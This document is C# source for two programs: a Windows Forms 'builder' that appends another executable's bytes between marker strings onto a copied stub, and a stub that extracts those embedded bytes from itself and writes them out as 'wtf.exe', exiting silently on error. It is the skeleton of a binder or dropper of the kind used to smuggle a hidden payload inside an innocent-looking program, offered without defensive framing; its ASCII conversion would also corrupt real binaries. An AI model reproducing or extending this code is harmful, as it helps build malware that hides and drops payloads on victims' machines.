using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
 
namespace Polyamory
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
 
        static string byteString(byte[] myBytes)
        {
            ASCIIEncoding enc = new ASCIIEncoding();
            return enc.GetString(myBytes);
        }
 
        private void buildButton_Click(object sender, EventArgs e)
        {
            try
            {
                string sPath = "";
 
                SaveFileDialog saveFile = new SaveFileDialog();
 
                saveFile.FileName = "built.exe";
                saveFile.Filter = "Executable Files (*.exe)|*.exe";
 
                if (saveFile.ShowDialog() == DialogResult.OK)
                    sPath = saveFile.FileName;
                else
                    return;
 
                File.Copy(Application.StartupPath + "/Stub.exe", sPath, true);
                byte[] myFile = File.ReadAllBytes("C:\\notepad.exe");
 
                File.SetAttributes(sPath, FileAttributes.Normal);
 
                string mySplit = "<@@ENCEXE@@>";
                string myEndSplit = "</@@ENCEXE@@/>";
 
                string sUrl = mySplit + byteString(myFile) + myEndSplit;
 
                FileStream myStream = new FileStream(sPath, FileMode.Open, FileAccess.ReadWrite, FileShare.None);
                BinaryWriter myWriter = new BinaryWriter(myStream);
 
                myStream.Position = myStream.Length + 1;
 
                myWriter.Write(sUrl);
 
                myStream.Close();
                myStream.Dispose();
 
                myWriter.Close();
 
                MessageBox.Show("Built.");
            }
            catch (Exception err)
            {
                MessageBox.Show(err.Message);
            }
        }
    }
}

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Windows.Forms;
 
namespace Polyamorous
{
    class Program
    {
        static string GetBetween(string myFile, string strStart, string strEnd)
        {
            int iPos, iEnd, lenStart = strStart.Length, startPos = 0;
 
            iPos = myFile.IndexOf(strStart, startPos);
            iEnd = myFile.IndexOf(strEnd, iPos + lenStart);
 
            if(iPos != -1 && iEnd != -1)
            {
                return myFile.Substring(iPos + lenStart, iEnd - (iPos + lenStart));
            }
 
            return "error";
        }
 
        static byte[] stringByte(string myString)
        {
            ASCIIEncoding encoding = new ASCIIEncoding();
            return encoding.GetBytes(myString);
        }
 
        static string byteString(byte[] myBytes)
        {
            ASCIIEncoding enc = new ASCIIEncoding();
            return enc.GetString(myBytes);
        }
 
        static void Main()
        {
            try
            {
                byte[] myFile = File.ReadAllBytes(Application.ExecutablePath);
 
                string sData = GetBetween(byteString(myFile), "<@@ENCEXE@@>", "</@@ENCEXE@@/>");
 
                File.WriteAllBytes("wtf.exe", stringByte(sData));
            }
            catch
            {
                Environment.Exit(0);
            }
        }
    }
}